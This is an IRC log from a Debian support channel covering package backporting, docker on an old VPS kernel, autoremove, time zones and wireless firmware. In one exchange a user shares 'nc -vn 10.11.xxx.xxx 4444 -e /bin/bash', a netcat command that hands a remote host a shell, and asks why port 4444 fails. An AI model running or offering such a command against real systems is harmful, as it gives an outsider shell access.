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0[00:00:10] <olalonde> TomTomTosch: can't see the source
on debian's package website? :(
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1[00:00:37] <kevr> sigh
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2[00:01:03] <kevr> this is so frustrating.
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4[00:01:28] <TomTomTosch> olalonde:
replaced-url
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5[00:02:02] <olalonde> Getting "E: You must put some
'source' URIs in your sources.list"
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6[00:02:07] <olalonde> TomTomTosch: oh thanks!
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8[00:02:51] <TomTomTosch> oh, right. you need to put the
deb-src line in your sources.list first. but the ssb factoid has all
the steps.
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11[00:04:01] <kevr> so
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12[00:04:10] <preaction> buttons
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33[00:13:32] <GeMiNniS> bye
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41[00:18:35] <olalonde> I'm now following the instructions
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44[00:19:12] <TomTomTosch> you will not be able to install
graphicsmagick 1.3.25 from jessie-backports.
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45[00:19:24] <olalonde> but even when I do "apt-get -t
jessie-backports install graphicsmagick", it installs from
"jessie/main". In logs I'm seeing "Get:1
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48[00:19:47] <TomTomTosch> because there is no graphicsmagick
in jessie-backports.
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49[00:19:56] <olalonde> Oh, ok :o
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52[00:21:40] <TomTomTosch> that's why i let the bot send
you instructions on how to create a backport yourself by building
from sid sources.
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57[00:24:07] <olalonde> Right , trying to follow those
instructions
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58[00:24:11] <olalonde> But I don't know how to
"enable debian-backports (see <bdo>)"
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59[00:24:19] <olalonde> bdo doesn't explain either
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61[00:25:42] <TomTomTosch> that means you need to add the
jessie-backports line to your sources.list and run "apt
update"
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63[00:25:59] <olalonde> First it says to check if package is on
backports than if not, you still need to install backports?
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65[00:26:02] <olalonde> A bit confusing
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66[00:26:06] <olalonde> Ok
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67[00:26:26] <TomTomTosch> not install from backports, just add
it to your sources, in case it needs to pull dependencies from
there.
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68[00:26:31] <olalonde> Ah ok, I see
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70[00:28:12] <olalonde> Is there an `apt` command for `aptitude
build-dep packagename` ?
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72[00:28:39] <olalonde> apt-get build-dep , oopsie
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74[00:29:27] <TomTomTosch> yep. apt-get build-dep ^^
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76[00:30:56] <TomTomTosch> oh, now this is fun. virtual
packages are not installed automatically by this.
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77[00:31:00] <TomTomTosch> bit of a PITA
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79[00:31:06] <olalonde> "install the resultant debs"
yep
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80[00:31:15] <olalonde> Wondering what that step entails :P
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82[00:32:00] <TomTomTosch> did apt-get build-dep not complain
about "Unable to satisfy the build-depends"?
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85[00:32:59] <olalonde> No
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86[00:33:07] <TomTomTosch> interesting.
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87[00:33:13] <olalonde> Well, it's building now
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90[00:34:41] <olalonde> Running "apt-get -b source
graphicsmagick"
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91[00:34:46] <wozzoz> hi everybody!
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92[00:35:03] <olalonde> TomTomTosch: once it's built, do I
need to run another command or will it be installed?
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93[00:35:39] <TomTomTosch> it will produce one or more .deb
files, which you can install using dpkg -i <.deb>
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100[00:39:09] <olalonde> dpkg: dependency problems prevent
configuration of graphicsmagick:
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101[00:39:09] <olalonde> graphicsmagick depends on
libgraphicsmagick-q16-3 (>= 1.3.5)
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102[00:39:10] <dpkg> olalonde: that's not the complete
error. Please pastebin the command you gave and the entire output.
Ask me about <pastebin> <bat> <localised errors>.
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103[00:39:23] <olalonde> I'm seeing a deb for that
dependency
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104[00:39:32] <olalonde> I need to install all of them maybe?
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105[00:39:36] <TomTomTosch> then you need to install them in the
right order.
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106[00:39:55] <olalonde>
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107[00:40:10] <olalonde> Oh, thought that'd be automatic :P
ok
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108[00:41:02] <TomTomTosch> no, where would be the fun in that?
^^
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111[00:41:34] <olalonde> Yay, I got it :) final script:
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113[00:43:06] <TomTomTosch> and it works as expected?
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119[00:45:53] <olalonde> gm -version shows the right version
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121[00:46:02] <olalonde> Need to run my tests now to see :)
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153[01:02:05] <kevr> wow, that's amazing
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156[01:02:14] <kevr> docker-engine actually just installed
without complaining
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168[01:07:59] <kevr> does upstart come with /usr/sbin/service?
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169[01:08:59] <jmcnaught> kevr: you can review contents of
installed packages with "dpkg -L $package" or search for
which package a file belongs to with "dpkg -S
/path/to/file"
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172[01:09:40] <kevr> ah i see
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174[01:10:47] <jmcnaught> kevr: upstart does seem like an odd
choice though
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177[01:11:22] <kevr> i didn't really choose it, it just
came to the system somehow when i installed something, not really
sure. :/
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178[01:11:28] <kevr> i think it had to do with docker-engine
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181[01:12:27] <jmcnaught> it would be hilarious if the upstream
docker repos enforce some sort of anti-systemd FUD on its users
considering that Docker is a far more radical departure from
traditional init than systemd is
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185[01:13:10] <kevr> lol
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187[01:13:40] <kevr> jmcnaught: btw, i was able to downgrade by
telling aptitude some special preferences
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188[01:13:47] <kevr> then running an upgrade/dist-upgrade
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189[01:14:14] <jmcnaught> kevr: that kind of thing is not
guaranteed to work, but i'm glad you managed to do it
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190[01:14:33] <kevr> gotcha
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191[01:14:47] <jmcnaught> kevr: in general you cannot mix the
repos of Debian releases. If you add stretch repo to a jessie
system, you get a stretch system (or a half broken hybrid of the
two)
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192[01:15:44] <kevr> i see. and darn, something is wrong with
docker. :/
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194[01:17:29] <guest66> ay
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195[01:17:30] <guest66> hi
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201[01:20:45] <||JD||> vlsub is fucked up, can't login or
register at vlc forum either, anyone else noticed issues?
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202[01:20:56] <||JD||> ls
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203[01:21:03] <||JD||> damn it
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208[01:23:18] <ctx144k> hi all
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211[01:24:16] <ctx144k> i installed debianb 8.6 with gnome
desktop. after that i installed via apt-get kate - but its not shown
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212[01:24:24] <ctx144k> anyone have an idea?
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213[01:24:36] <ctx144k> when im calling it via command-prompt
its running
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250[01:41:35] <kevr> oh, my kernel isn't new enough to run
docker
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251[01:41:37] <kevr> sigh
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258[01:44:52] <stoned> kevr: which is your kernel?
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259[01:45:00] <stoned> kevr: there are kernels on backports you
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271[01:51:30] <ctx144k> ok i founded reason why kate not founded
in gnome-menu - theres an app for showing/hiding apps inside menu
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304[02:09:00] <mdim> hi mentors!
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306[02:09:46] <zaturek> hello guys! I need some help! I want to
delete geany from my system. I did it with purge. And found
geany-common. I've deleted that too. I've deleted
geany-plugins first. But this thing is still on my laptop and no
more Idea how to get rid of it.
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310[02:10:16] <mdim> I'm working on packaging Scala 2.10.6
for Debian, even though there's already a package for Scala
2.11.8. The reason is that 2.10.6 is a build dependency for an
important tool of the Scala programming land. How do I change
it's debian/watch file to point to 2.10 release tags only?
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314[02:11:16] <mdim> Scala source packages can be found at
replaced-url
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317[02:14:58] <mdim> for example, the latest release has this
file:
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321[02:18:13] <th0r> zaturek, did you try apt-get autoremove
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322[02:19:18] <missmbob> i get the debian dir from
replaced-url
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325[02:20:06] <missmbob> !uupdate
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326[02:20:06] <dpkg> uupdate (in the <devscripts> package)
upgrades a source code package from an upstream revision, or e.g. if
the newest foo in debian is 1.2, and upstream is at 1.4: apt-get
source foo; wget -nd
replaced-url
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327[02:20:17] <missmbob> that could do it too if you use the
2.10.5 sources initially
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331[02:21:40] <mdim> missmbob: yes, I'm starting from
2.10.5 and then am planning to fetch sources for 2.10.6
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334[02:22:15] <mdim> missmbob: so no need to change the watch
file?
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335[02:22:18] <ramo> hi i have a question regarding netcat. i
tried to use port 4444 however it doesnt work with me so i used port
2222 and its work. the question is there a diffrence between 2222
and 4444 since 4444 doesnt work
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338[02:24:21] <jercos> ramo: you may have something else
listening on port 4444. lsof -i tcp:4444 should tell you what.
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341[02:25:19] <zaturek> th0r, I did. But i guess I know the
problem already. I'll have to: make uninstall
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342[02:25:22] <zaturek> :)
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344[02:26:06] <missmbob> mdim: no
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347[02:27:00] <mdim> missmbob: the original scala source package
is git-buildpackage-based. Shouldn't I be using Git to somehow
fetch commits from upstream to incorporate them into my Git repo for
the scala-2.10 source package?
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349[02:27:59] <nktn> Q > is it possible to know what packages
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350[02:28:10] <missmbob> mdim: i wouldn't care. it's
an old branch. doubt it really gets touched.
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353[02:29:19] <mdim> ok
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354[02:29:27] <mdim> thanks!
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358[02:32:01] <de-facto> wft is this ip from china trying to do
on my ssh port? netstat -tup shows it like "tcp 0 0
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360[02:32:32] <de-facto> CHINANET jiangsu province network
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361[02:32:37] <de-facto> hmmm
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363[02:33:03] <missmbob> that's normal. bots scan every
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364[02:33:05] <preaction> log in
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366[02:33:24] <preaction> so, if you haven't disabled
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367[02:33:27] <missmbob> and then good out dictionary attacks
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369[02:33:34] <missmbob> good old*
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371[02:34:10] <de-facto> yes i have it as password login, its my
old box, i guess i should change the port of ssh to some high number
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395[02:42:23] <ramo> I typed the command lsof -i tcp:4444. but
it doesnt show any results
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397[02:44:12] <jercos> ramo: you might try netcat again then...
and if you can provide error messages, as well as the exact command
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417[02:54:13] <ramo> here is the error message: (UNKNOWN)
[10.11.XXX.XXX] 4444(?) :Connection timed out
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421[02:56:18] <dclarke> my apt-get claims Failed to fetch
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425[02:57:48] <dclarke> I used the example sources.list from
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435[02:03:39] <ramo> the command i used: nc -vn 10.11.xxx.xxx
4444 -e /bin/bash
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471[02:33:02] <n-st> fun fact: debian jessie takes longer to
install on my vm than windows xp :|
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476[02:35:12] <preaction> i could swear one of those is more
modern... one of them... but which one...
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478[02:37:54] <n-st> got to admit though, that comparison
doesn't include the additional time needed to put the windows
xp vm on an isolated network without internet connectivity
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479[02:38:48] <n-st> i'm not a savage, you know! when i use
outdated software, i at least put it where noone else can see it :)
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480[02:39:33] <ryouma> how do i turn off and on the internet?
and will the firewall restart automatically when i turn it back on?
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481[02:39:39] <ryouma> ifup?
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485[02:40:15] <n-st> ryouma: turn off the internet: lots of
nukes. turn on the internet: wait a few decades for society to
rebuild
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488[02:41:27] <n-st> ryouma: on the other hand, your personal
network connection is usually fairly easy to turn off, and at least
iptables doesn't stop working as configured unless you tell it
to ;)
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490[02:41:58] <ryouma> n-st: ok great, so no matter what
firewall i have installed, it will just keep going regardless of
ifup and ifdown?
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491[02:42:27] <n-st> ryouma: iptables will, but i can't say
anything about other firewalls you might be using instead
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492[02:42:46] <n-st> and be careful not to lock yourself out
from a remote system by running ifdown ;)
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497[02:44:08] <n-st> ryouma: in fact, let's take a step
back: *why* do you want to turn off your network?
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499[02:45:02] <ryouma> n-st: because (1) seems like a good idea
to know this and (2) qbittorrent is seemingly killing my router
within seconds of launching it, so i want to turn off internet, run
qbittorrent, pause all torrents, resume only one, turn on internet
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501[02:46:43] <n-st> ryouma: (1) fair enough, but you'll
rarely need to do that ;) (2) try `trickle` :)
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502[02:47:17] <n-st> trickle — a lightweight userspace
bandwidth shaper
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503[02:47:23] <n-st> trickle is highly configurable; download
and upload rates can be set separately, or in an aggregate fashion.
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504[02:47:44] <ryouma> n-st: i have used trickle in the past,
but i don't want to ahve to relearn it and make guesses about
what is killing the router just to do this
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508[02:48:35] <ryouma> i.e. idk if it is bandwidth, number of
connections, or stuff i don't even know about
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510[02:48:52] <n-st> that's something you should find out
;)
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511[02:49:34] <missmbob> qbittorrent doesnt have settings for
this? limiting number of connections, bandwidth, etc?
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512[02:49:45] <n-st> and you could probably write some generic
iptables rules that limit bandwidth, packets per second, etc (ask in
##networking if you like, i have next to no clue about iptables)
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513[02:49:54] <ryouma> n-st: be nice, yeah. but for now i just
want to launch and try one torrent. and i want to know /anyway/ how
to turn off and on the internet. because i am al gore and it would
be embarrassing if i didn't.
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514[02:50:13] <n-st> fair enough :D
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515[02:50:16] <ryouma> missmbob: i tried limiting to 100 from
the default 500 and it still seemingly took down the router
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519[02:51:13] <ryouma> and i wouldn't know where to start
to find out why qbittorrent is taking down teh router, if it is.
except haphazard guesses like max global connections, which we still
don't have an upper bound on.
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520[02:51:16] <n-st> ifdown (or ifconfig eth0 down) is a fairly
strong measure, but should get you there. ifup might not bring
everything back to the intended state, though (at least i've
had issues in the past)
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522[02:51:34] <missmbob> dont use ifconfig
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523[02:52:03] <n-st> for your use case, it should be enough to
remove the default route (keep the network online, but make your
system forget where it should send packets that are supposed to
reach the internet)
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525[02:53:55] <ryouma> (btw i imagine this knowledge would be
useful if it seems that my machine is under attack or something too)
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526[02:54:07] <ryouma> (but don't want to derail the
conversation to that)
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527[02:54:23] <ryouma> n-st: ok, then what is the command for
that?
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528[02:54:26] <n-st> ryouma: make a note of your current default
route: ip route show default | grep default
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529[02:54:43] <n-st> then remove it: ip route del default
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530[02:55:03] <th0r> ryouma, why don't you just unplug or
turn off the router?
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531[02:55:17] <ryouma> th0r: it is not physically possible for
me
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532[02:55:44] <n-st> keep in mind that more specific routes will
remain in effect, so this only works for *extremely simple* network
layouts
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533[02:56:02] <ryouma> why would ifup eth0 not restore stuff
properly?
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535[02:56:15] <n-st> no clue to be honest :/
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536[02:56:23] <ryouma> i do not know how to determine whether my
layout is extremely simple
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537[02:56:49] <ryouma> i could always reboot i suppose, but it
would be nice to have confidence in this stuff
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538[02:57:12] <n-st> ryouma: how much networking stuff do you
want to learn? :) i'm still waiting for that installation, so
could have a look at your network config
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542[02:58:28] <ryouma> n-st: i am limited in typing ability, and
already too much typing, so in practice i just want practical
ifup/ifdown knowledge
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543[02:58:59] <missmbob> that's really all you need. ifdown
eth0 ; ifup eth0; that should be it.
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546[02:59:34] <missmbob> it'd get new dhcp ip if needed
automagically
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547[03:00:08] <missmbob> (assuming it's configured to do so
in interfaces)
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548[03:00:11] <ryouma> missmbob: great. was concerned about
"ifup might not bring everything back to the intended state,
though (at least i've had issues in the past)"
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551[03:01:03] <missmbob> ryouma: which version of libtorrent are
you using?
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552[03:01:15] <n-st> "The ifupdown package is the de facto
standard for such high level network configuration system on Debian.
It enables you to bring up network simply by doing , e.g.,
"ifup eth0". Its configuration file is the
"/etc/network/interfaces" file."
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553[03:01:52] <n-st> it's legacy though (to be replaced by
some systemd abomination, probably):
replaced-url
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554[03:02:58] <ryouma> missmbob: libtorrent-rasterbar7:
Installed: 0.16.18-1 Candidate: 0.16.18-1 Version table: ***
0.16.18-1 0
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556[03:03:29] <ryouma> missmbob: i.e. normal qbittorrent as i
was not able to install a newer one, even with your help
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557[03:03:36] <missmbob> ryouma: oh. that's ugly. that
could be your problem as to why the settings aren't helping you
out
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559[03:03:52] <ryouma> oh, buggy qbittorrent? it's the
standard jessie version.
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560[03:03:53] <missmbob> oh that was you
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565[03:04:46] <ryouma> yup :)
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566[03:04:51] <jmcnaught> n-st: there's an ifupdown2 in
stretch and jessie-backports. systemd-networkd also works on jessie
and later.
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568[03:05:40] <ryouma> backporting mpv? yes. backporting
qbittorrent? errors.
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569[03:05:40] <n-st> jmcnaught: yup, i was wondering about
networkd. does it have any functions to control the interfaces, or
just to look at their status?
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572[03:06:30] <jmcnaught> n-st: it can configure interfaces.
it's not that bad looking really.. sort of a halfway point
between ifupdown and networkmanager
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573[03:06:39] <sm00th> how do I stop autoremove from wanting to
remove my whole desktop?
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574[03:06:52] <missmbob>
replaced-url
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578[03:07:17] <n-st> i'm (somewhat grudgingly) using
networkd on my arch boxes
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579[03:07:23] <kevr> question about chroots. is there a way to
run a separate kernel inside a chroot?
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580[03:07:40] <pingfloyd> sm00th: mark the packages that you
want to keep, from the meta-package being removed, as manually
installed
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581[03:07:48] <kevr> basically, i have a VPS, and this VPS has a
locked kernel (3.2.X...), but i need at least 3.10 somehow so i can
run docker
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582[03:08:19] <sm00th> pingfloyd, its a huge giant blob i'm
not sure why
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583[03:08:25] <sm00th> I think cause I uninstalled Knote
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584[03:08:26] <pingfloyd> sm00th: though autoremove
shouldn't do that unless you removed something earlier that
included a meta-package
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588[03:08:51] <sm00th> maybe I should just shut autoremove off
and retire it from my vocabulary
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589[03:09:04] <pingfloyd> sm00th: no
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590[03:09:09] <pingfloyd> it's a good thing
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592[03:09:16] <sm00th> pingfloyd, what should I do then?
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593[03:09:26] <pingfloyd> just have to be aware how
manual/automatic install works
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594[03:09:34] <sm00th> i'm not gonna mark every single one
of those packages
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595[03:09:43] <sm00th> time to retire it from the vocab
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596[03:09:50] <Amun_Ra> kevr: no
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597[03:10:01] <jmcnaught> kevr: no, you cannot run a different
kernel in a chroot or a container
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598[03:10:01] <n-st> kevr: your vm is probably an openvz/lxc
container, sharing the kernel of the host system. saves resources,
but limits flexibility. you'll probably need a vm with full
virtualisation (kvm, xen-hvm, vmware, …)
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600[03:10:21] <jmcnaught> kevr: why do you need a different
kernel?
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602[03:10:28] <sm00th> pingfloyd, why do you say its a good
thing though?
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603[03:10:57] <pingfloyd> sm00th: because it is if you
understand how it works
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604[03:10:59] <jmcnaught> sm00th: did you remove a package that
removed the metapackages for your DE?
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605[03:11:17] <pingfloyd> it keeps the system tidy and free of
unneeded packages
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606[03:12:19] <pingfloyd> really you just have to determine what
you do want installed, and then let dependencies be resolved
automatically
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607[03:13:02] <kevr> jmcnaught: docker doesn't run on my
kernel version in this VPS.
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608[03:13:09] <pingfloyd> anything automatically installed will
stay if something manually installed depends on it in some manner,
otherwise it will be removed when you autoremove.
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609[03:13:11] <kevr> so im probably screwed for docker
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610[03:13:15] <kevr> with this vendor at least
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611[03:13:23] <jmcnaught> kevr: what is the kernel? "uname
-a"
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612[03:13:30] <sm00th> ya i'm not gonna mark every package
in my system right now
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613[03:13:30] <sm00th> sorry
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614[03:13:31] <sm00th> hahaha
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615[03:13:37] <pingfloyd> that's not what I said
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617[03:13:41] <sm00th> but thats what I said
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618[03:13:43] <pingfloyd> you don't mark every package
manual
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619[03:13:46] <sm00th> time to remove it from my vocab now
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620[03:13:47] <sm00th> I do
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621[03:13:52] <pingfloyd> you only mark the ones you don't
want autoremoved
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623[03:14:00] <sm00th> because I uninstalled knotes
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625[03:14:11] <sm00th> ya the ones I want, is probalby
everythign in this huge giant blob of text
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626[03:14:14] <sm00th> good luck with that buddy haha
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628[03:14:19] <pingfloyd> knotes is probably a dependency of
some meta-package you have installed
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629[03:14:36] <sm00th> pingfloyd i'll paste it for you
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630[03:14:36] <jmcnaught> sm00th: was knotes interfering with
something, or were you just trying to save a few dozen MB?
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633[03:14:48] <sm00th> jmcnaught, dont' like it recording
my keystrokes
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634[03:14:53] <sm00th> don't most people remove it?
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635[03:14:58] <sm00th> use to be able to do it from taskbar
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637[03:15:06] <sm00th> but its been popping up again on the
screen freaking me out haha
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639[03:15:20] <sm00th> so just removed the package
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640[03:15:38] <pingfloyd> your problem is probably from the fact
that knotes is a dependency of kde-standard
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641[03:15:46] <jmcnaught> sm00th: i don't know what it is,
but usually it's simpler to disable something than to remove a
package depended on by your DE's metapackages
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643[03:16:15] <sm00th> pingfloyd,
replaced-url
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644[03:16:19] <pingfloyd> kde-standard is what is keeping knotes
on your system along with a bunch of other packages
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645[03:16:37] <sm00th> no kidding
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648[03:16:55] <pingfloyd> sm00th: simple ignore the libs in that
list, and determine which apps in that list you want to keep around
and mark them manually installed
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649[03:16:59] <mythos> hello there. I'm using debian jessie
and it's weird, but my debian didn't switch to
normal/winter time. is that a known bug?
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650[03:17:03] <sm00th> I want to keep them all
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651[03:17:10] <sm00th> how do I do it ?
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653[03:17:38] <sm00th> one by one? haha
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654[03:17:48] <pingfloyd> actually you see what you removed with
apt-get remove that prompted that large of removal first
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655[03:17:59] <pingfloyd> you can check the logs if you
don't remember
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656[03:18:13] <sm00th> i just said knote
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657[03:18:32] <pingfloyd> and what got removed with knote?
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658[03:19:18] <jmcnaught> mythos: have you done updates? there
should be a new version of tzdata
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659[03:19:23] <sm00th> ah i see so i would reinstall
kde-standard thats what you meant
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660[03:19:35] <sm00th> but so what if I don't want to
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661[03:19:41] <sm00th> and just keep what I got now.
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662[03:19:42] <mythos> jmcnaught, everything up to date
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664[03:19:49] <sm00th> how do I do it without doing each one by
one?
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665[03:20:02] <missmbob> and the correct timezone is set in
/etc/localtime ?
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666[03:20:09] <pingfloyd> though really the big question is if
there is anything in that list for your autoremove output you want
to keep around
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667[03:20:10] <mythos> missmbob, yes
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668[03:20:11] <sm00th> what if I just say screw kde-standard.
let me just remove autoremove from my vocabulary
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669[03:20:13] <sm00th> is that ok?
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670[03:20:21] <missmbob> mythos: did you install ntp or
configure systemd-timesyncd ?
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671[03:20:36] <sm00th> pingfloyd, my next question is how do I
disable it in systemd system
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672[03:20:42] <missmbob> !tell mythos about systemd-timesyncd
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673[03:20:48] <jmcnaught> sm00th: why not reinstall
kde-standard, and then focus on disabling knotes from your session
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674[03:20:49] <sm00th> lol cause I'm only finding
directions for older way /etc/apt.conf
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675[03:20:58] <sm00th> jmcnaught, thats what I normally do
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677[03:21:03] <mythos> missmbob, i'm using sysv-init and
ntpd
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678[03:21:07] <sm00th> but this is actually good, now I find out
i can just get rid of all of kde-standard
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679[03:21:13] <mythos> but that shouldn't be the problem
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680[03:21:13] <sm00th> i'm a keep it that way now.
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681[03:21:26] <sm00th> obviously I don't need it, cause I
don't miss it.
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682[03:21:32] <sm00th> haha
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684[03:21:41] <mythos> killing the service and running ntpdate
-s timeserver does nothing either
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685[03:21:49] <jmcnaught> the advantage to keeping the
meta-packages installed is that when you upgrade to stretch for
example, if Debian has a different collection of packages for KDE
then it will know to add/remove the changes
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687[03:22:07] <jmcnaught> mythos: what version is your tzdata
package?
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688[03:22:29] <pingfloyd> sm00th: marking as manually installed
what kde-standard meta-package depends on (that you want to keep
installed) bothers you, then you should just keep kde-standard and
not worry about it.
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689[03:22:35] <sm00th> jmcnaught, well getting rid of knotes is
more important for me
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690[03:22:38] <mythos> jmcnaught, 2016f-0+deb8u1
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691[03:22:40] <missmbob> jessie-updates has 2016h-0+deb8u1
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692[03:22:50] <pingfloyd> all the meta-packages do is mark
simpler to install a collection of packages
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693[03:23:00] <missmbob> mythos: so you need to add that to your
sources and upgrade
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694[03:23:03] <sm00th> pingfloyd, sorry i'm noob, so i can
mark something to remove only knotes and not kde-standard?
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695[03:23:16] <sm00th> or to install kde-standard without
install knotes?
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696[03:23:28] <pingfloyd> if you're finicky about what is
installed and not installed, they're not usually what you want
and you should just install whatever you do want or mark manually
installed.
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698[03:23:53] <mdim> can someone help me with using gbp? In
particular, I'm trying to create a scala-2.10 source package.
There is already a scala source package, but it's at 2.11.8 and
I need 2.10.6 to build an important Scala tool. I started with the
original scala source package Git repository and switched to a
commit corresponding to 2.10.5-1. On top of that I'd like to
import the upstream Scala 2.10.6 source code tarball. How do I do
that with gbp?
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699[03:24:15] <sm00th> pingfloyd, nvm
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701[03:24:34] <sm00th> pingfloyd, autoremove is finicky, so
i'm gonna remove it from my vocab
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702[03:24:36] <mythos> missmbob, erm... ok. going to do that =)
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704[03:24:45] <sm00th> only time its ever helpful for me is to
remove an old kernel
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705[03:24:50] <sm00th> i'll just do that manually no big
deal
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708[03:25:05] <sm00th> but now its a security risk
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709[03:25:15] <sm00th> i can accidentally remove my whole entire
system, as if it is a sick joke being played on me
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711[03:25:16] <mdim> I tried with using uupdate, but it creates
a new separate directory and it is not a Git repository
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712[03:25:19] <sm00th> so i'd rather not risk it lmao...
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713[03:25:30] <sm00th> pingfloyd, but can you answer my question
though, how do I disable autoremove in debian 8
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714[03:25:43] <sm00th> pretty please
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715[03:25:54] <pingfloyd> I wouldn't know since it
doesn't make any sense to
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716[03:25:57] <sm00th> i see there is a file in conf.d
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717[03:26:06] <mythos> missmbob, isn't "deb
[arch=amd64,i386]
replaced-url
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718[03:26:13] <mdim> then I tried with git-import-orig, but that
insisted on me first checking out the upstream branch, which I
don't want to do because I need to base my stuff on 2.10.5-1,
and not the upstream branch, which is based on 2.11.8
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719[03:26:25] <pingfloyd> disabling will just keep orphaned
packages installed wasting storage
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720[03:26:30] <sm00th> pingfloyd, well i just laid it out for
you, its common sense to me.
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722[03:26:43] <pingfloyd> it's not
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723[03:26:46] <mythos> kk, found the wiki entry
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724[03:26:51] <pingfloyd> you need to understand how apt works
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725[03:26:53] <sm00th> pingfloyd, oh well
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726[03:26:57] <missmbob> mythos: it's not security. deb
replaced-url
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727[03:27:05] <sm00th> pingfloyd, like I said only time its
helpful is for removing old kernel packages
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728[03:27:26] <sm00th> otherwise who cares, and if i have a
problem when updating to the new stable version i'll just fresh
install
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729[03:27:32] <sm00th> which is probably better anyways.
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732[03:28:40] <mythos> missmbob, ok, updated tzdata. still wrong
time
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733[03:28:52] <pingfloyd> if you don't know what packages
you want to keep installed individually, just stick to the
meta-packages. That's why they're there.
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735[03:29:22] <sm00th> i told you already i want to keep them
all
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736[03:29:24] <missmbob> mythos: i'm out of ideas
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737[03:29:26] <sm00th> i gave you the paste
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738[03:29:38] <mythos> missmbob, thanks anyways
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739[03:29:39] <mythos> =)
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740[03:29:39] <sm00th> there is no way to just mark all packages
marked to remove at once?
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741[03:29:54] <sm00th> or to reset or clear autoremove cache or
somethign?
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742[03:30:01] <sm00th> otherwise good riddens
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744[03:31:23] <jmcnaught> mythos: what part of the world are you
in? Here in North America EST, the clock goes back November 6 (one
week from today)
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745[03:31:47] <mythos> jmcnaught, austria
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746[03:31:49] * jmcnaught naively assumes it would be the same day
everywhere with his NA privilege.
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748[03:32:13] <sm00th> jmcnaught, is this a nother pinning
issue?
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749[03:32:15] <mythos> so europe/austria.. timezone is
Europe/Vienna
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751[03:32:34] <mythos> and it is supposed to go from 3 to 2
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752[03:32:45] <mythos> which is half an hour ago
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755[03:33:29] <missmbob> after you upgraded tzdata did you
reload ntp?
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756[03:33:33] <jmcnaught> sm00th: my preferred solution is to
keep the meta package, and disable whatever you don't like
instead of removing it
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757[03:33:35] <mythos> missmbob, yes
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758[03:33:49] <mythos> and tried ntpdate -s
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759[03:33:54] <jmcnaught> sm00th: i don't know how KDE
autostarts stuff, but it's got to be configurable
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769[03:35:24] <missmbob> is this a vm whose time gets set by
host?
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770[03:35:59] <mythos> nope
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771[03:36:11] <mythos> supermicro board with xeon haswell cpu
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777[03:39:40] <sm00th> jmcnaught, i'm guessing here
/etc/apt/apt.conf.d/01autoremove
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778[03:40:10] <sm00th> I just don't know what to do here, i
don't want to remove the file. how do I just disable that
script in systemd?
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780[03:41:07] <mythos> erm, ok. everything is alright. sorry
that i bothered you guys
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782[03:41:24] <missmbob> really? we dont get to know wtf?
that's some bullshit
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788[03:43:35] <jmcnaught> sm00th: it has nothing to do with
systemd. those are apt preferences.
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790[03:44:25] <jmcnaught> sm00th: kde is also probably not using
systemd user session to start applications. It's probably
configured in the KDE control panel thing under session or autostart
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797[03:46:38] <Arroz9000> nick learnerwind
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799[03:47:30] <learnerwind> Hey. Could someone help me to get my
wireless card working?
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804[03:48:23] <jmcnaught> learnerwind: what kind of card is it?
are you going to disappear when someone answers?
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806[03:50:30] <learnerwind> jmcaught: I gess not. And my card i
dont know what is it but i get this in 'lspci': 02:00.0
Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. Device 5289
(rev 01)
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809[03:51:00] <learnerwind> I always say thank you if i get some
answer
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812[03:52:20] <jmcnaught> learnerwind: i tried to respond to you
a couple of time on OFTC but you kept disconnecting :P
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813[03:52:38] <jmcnaught> learnerwind: most likely you just need
to install firmware-realtek from non-free
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814[03:52:55] <jmcnaught> if you have done silly stuff like
compiling a driver from source, you may want to try and reverse that
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815[03:52:57] <learnerwind> I've tried download with
apt-get, compiling it from source, and updating the kernel, only to
ge no ansewr
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816[03:53:26] <jmcnaught> learnerwind: so "apt-get install
firmware-realtek" does what?
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817[03:53:42] <missmbob> (btw there's a newer
firmware-realtek in jessie-backports)
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820[03:54:43] <sm00th> jmcnaught, i see kde system because its
in a diff location. yess the session start settings is how i
normally disable it actually disabling it from task bar and setting
to never start use to be enough
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822[03:54:58] <sm00th> aht eh middle mouse button is what is
bringing it up
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823[03:55:19] <Arroz9000> \nick learnerwind
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824[03:55:30] <missmbob> Arroz9000: working with you is like
pulling teeth
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836[03:58:00] <sm00th> jmcnaught, well that was weird. my whole
desktop changed to the kde purple background. and I coudln't
see any of my open windows on desktop or in panel.
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838[03:58:18] <sm00th> as if it switched to another user, I
didn't know how to get back so I had to log out and back in
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839[03:58:21] <missmbob> sm00th: which debian release are you
using?
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840[03:58:37] <sm00th> sm00th, debian 8
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841[03:58:39] <sm00th> kde
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845[03:58:55] <sm00th> did I hit another shortcut? or am I
compromised lol
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852[04:00:11] <jmcnaught> sm00th: i'm not really sure what
you mean and what you did
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853[04:00:39] <sm00th> i went to click system settings from
start menu, and then boom. its like I changed to another desktop
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854[04:00:45] <sm00th> I just checked i Only have 1 workgroup
set.
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856[04:00:55] <sm00th> it changed to another desktop with the
default purple kde background
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857[04:01:03] <sm00th> and I coudln't see any of my windows
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858[04:01:15] <sm00th> I was forced to log out
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859[04:01:36] <jmcnaught> whatever happened might be in logs
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863[04:02:22] <jmcnaught> sm00th: "journalctl -u kdm
-b" for example
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875[04:05:37] <missmbob> you might want to try asking people who
use kde. #kde
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882[04:08:07] <missmbob> i've never used kde longer than it
took to hit ctrl+alt+fn
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884[04:08:41] <sm00th> jmcnaught, could this be related:
org.kde.kuiserver[7337]: QDBusConnection: session D-Bus connection
created before QCoreApplication. Application may misbehave.
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887[04:09:12] <sm00th> kdm_greet[7285]: Cannot load
/usr/share/kde4/apps/kdm/faces/.default.face: No such file or
directory
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888[04:09:37] <sm00th> org.kde.kuiserver[3109]: kuiserver: Fatal
IO error: client killed
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890[04:09:42] <jmcnaught> sm00th: i don't use KDE, but
errors you find you should web search to find what they mean
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892[04:10:56] <learnerwind> jmcnaught: Sorry i didnt knew i was
receving answers. My phone keeps disconnecting and xchat changed my
nick every time it occurred. The last time was the first i received
any message. And i am so sorry about what happened
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894[04:11:58] <sm00th> jmcnaught, i'm probalby compromised
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895[04:12:17] <missmbob> no one has any reason to think that
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896[04:12:43] <missmbob> and now it's starting to make
sense why you were on my ignore list
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898[04:13:33] <missmbob> learnerwind: 02:53 < jmcnaught>
learnerwind: so "apt-get install firmware-realtek" does
what?
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900[04:13:49] <missmbob> learnerwind: also jessie-backports has
a newer firmware-realtek that might help. and what does uname -a
give you?
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901[04:13:54] <jmcnaught> sm00th: compromised by what?
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902[04:14:09] <learnerwind> misbob: 0 upgraded, 0 newly
installed, 0 to remove and 0 not upgraded.
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903[04:14:23] <missmbob> learnerwind: let's see the policy
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904[04:14:28] <jmcnaught> sm00th: it's more likely that the
problems you're having are related to changes you made to your
system earlier
